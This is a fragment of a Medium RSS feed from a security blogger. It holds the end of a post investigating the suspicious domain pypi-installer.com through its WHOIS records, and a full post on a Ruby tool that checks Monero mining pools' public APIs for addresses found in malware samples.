src="https://cdn-images-1.medium.com/max/683/0*VTtE9Tw_0upqDHJi.png" /><figcaption>shows the domain information for pypi-installer.com</figcaption></figure><p>shows the domain information for pypi-installer.com</p><p>The domain registrar is NameCheap. The domain was registered on 2021–11–16. the last time the domain was updated was on 2021–11–16. The domain expires on 2022–11–16.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/30/0*xIpgshUz4A0SoEq7" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/0*6kbA94UTdXZrXw3w.png" /><figcaption>shows the Registrant Contract for the domain, pypi-installer.com</figcaption></figure><p>shows the Registrant Contract for the domain, pypi-installer.com</p><p>Doing a <a href="https://www.reddit.com/r/CoinBase/comments/nbg36q/is_supportcoinbaseusacom_legit/">search </a>on the number,+354.4212434 shows that the number is tied to scams and even<a href="https://www.cisa.gov/uscert/sites/default/files/publications/MAR-10337802-1.v1.WHITE.pdf"> ransomware</a>. This has lead me to believe that the hosting service might turn an eye to abuse.</p><h3>The Decoded Python code</h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/ca1ea4942794615097e0b171c0171117/href">https://medium.com/media/ca1ea4942794615097e0b171c0171117/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3d0b3d1cb26" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/analyzing-python-malware-b3d0b3d1cb26">Analyzing Python Malware</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Monero Pool Searcher]]></title>
            <link>https://medium.com/@michaelmeade3/xmr-pool-address-search-367c0168fdb9?source=rss-5a1edb7ee70f------2</link>
            <guid isPermaLink="false">https://medium.com/p/367c0168fdb9</guid>
            <category><![CDATA[ruby]]></category>
            <category><![CDATA[mining]]></category>
            <category><![CDATA[monero]]></category>
            <dc:creator><![CDATA[Michael Meade]]></dc:creator>
            <pubDate>Tue, 28 Dec 2021 01:29:44 GMT</pubDate>
            <atom:updated>2022-01-03T19:36:11.904Z</atom:updated>
            <content:encoded><![CDATA[<p>The tool will use a handful of Monero mining pools API to check to see if a Monero address has mined at the Pool. The program will display what pools the address was found on as well as the amount of coins mined at that pool.</p><p>This tool can be good for searching Monero addresses found in malware samples.</p><p>The source can be found here, <a href="https://github.com/Michael-Meade/xmr_pools">https://github.com/Michael-Meade/xmr_pool</a>s. The tool is written in Ruby.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A8z9xa8tVpVOXwJF5Bps8A.png" /><figcaption>Shows that the Monero address has mined 7.796 Monero.</figcaption></figure><p>With the get_all(addr) method we are able to get the total amount of Monero mined on all the pools that it was found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*GAyXTNvEupTTnCeaLSa0ZA.png" /><figcaption>Showing the program can also print out the amount mined and the pool used.</figcaption></figure><p>The get_pools(addr) method allows us to print the pool name and the amount of Monero that was mined on the pool. Other information such as the hashrate, paid amount, balance and name keys can be used to get more information amount the address.</p><p>New pools can be easily be added to the program. To be able to add pools, a class must be created with the pools name. A template for the class can be seen below.</p><pre>class SupportXmr<br>        def initialize(address)<br>            <a href="http://twitter.com/address">@address</a> = address<br>        end<br>        def address<br>            <a href="http://twitter.com/address">@address</a><br>        end<br>        def url<br>            &quot;<a href="https://supportxmr.com/api/miner/#{address}/stats">https://supportxmr.com/api/miner/#{address}/stats</a>&quot;<br>        end<br>        def get<br>            rsp     = HTTParty.get(url).response.body<br>            main    = JSON.parse(rsp)<br>            results = {}<br>            bal     = main[&quot;amtDue&quot;].to_f / 1000000000000<br>            paid    = main[&quot;amtPaid&quot;].to_f / 1000000000000<br>            results[&quot;balance&quot;]  = bal<br>            results[&quot;paid&quot;]     = paid<br>            results[&quot;hashrate&quot;] = main[&quot;hash&quot;]<br>            results[&quot;total&quot;]    = bal + paid<br>            results[&quot;name&quot;]     = &quot;supportxmr.com&quot;<br>        return results<br>        end<br>    end</pre><p>The class must have a few things:</p><ul><li>a initialize method that has an instance variable named addr.</li><li>a method named, get</li><li>url method</li></ul><p>The results hash is used to return data that was scraped from the pool’s API. The newly created pool class must have contain the results hash so the program can quickly read it and display the results. The main part of the code will find all the classes in the program and loop through the classes to call the get method. All the data obtained from the pool will be added to a hash. After all the classes are called and the information is put in the hash, the code will display the results in a terminal table, a bar graph or a list.</p><h3>List the results</h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/daae881bc72a4f0253529a812c3baf36/href">https://medium.com/media/daae881bc72a4f0253529a812c3baf36/href</a></iframe><p>The command will list the Pool &amp; the amount. The image below shows what the output looks like.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*qfOOLk4kdIqt7vlu7UurIA.png" /><figcaption>The list of pools &amp; total Mined</figcaption></figure><h3>Creating a bar Graph</h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/072758639a50f39658bf3eddf912ca0e/href">https://medium.com/media/072758639a50f39658bf3eddf912ca0e/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*HGs1x8LOIdVTKuHa6j7MAg.png" /><figcaption>Shows that the address, mined 4.34 XMR at HashVaultPro</figcaption></figure><p>The image shows that the Monero address mined 4.34 Monero on the pool, HashVaultPro.</p><h3>Getting the total</h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/237724fff190046a1498a4aaa34d5a7c/href">https://medium.com/media/237724fff190046a1498a4aaa34d5a7c/href</a></iframe><p>The --total argument can be used with other arguments. The --addr argument must be called with it for it to work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_TyybekOAikATPu3cvhnWg.png" /><figcaption>Shows the output when — total is used</figcaption></figure><p>Shows that the Monero address has mined 4.9408041878653 Monero.</p><h3>Printing Table</h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/48c008ebd2f7485c9e78b32a412d6db7/href">https://medium.com/media/48c008ebd2f7485c9e78b32a412d6db7/href</a></iframe><p>The --pt argument stands for print table. Just as the name implies, the argument will print the table in a nice table inside your terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*RImJyik3RHJaELHM_6-YJA.png" /><figcaption>Example of the — pt argument in action</figcaption></figure><p>The --pt argument can also be ran with the --total argument, this will print the total mined on the bottom as seen in the image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FMw8Re4LpwFgxUEb6voRbg.png" /></figure><p>The Monero address above has mined 440.627136920267</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=367c0168fdb9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>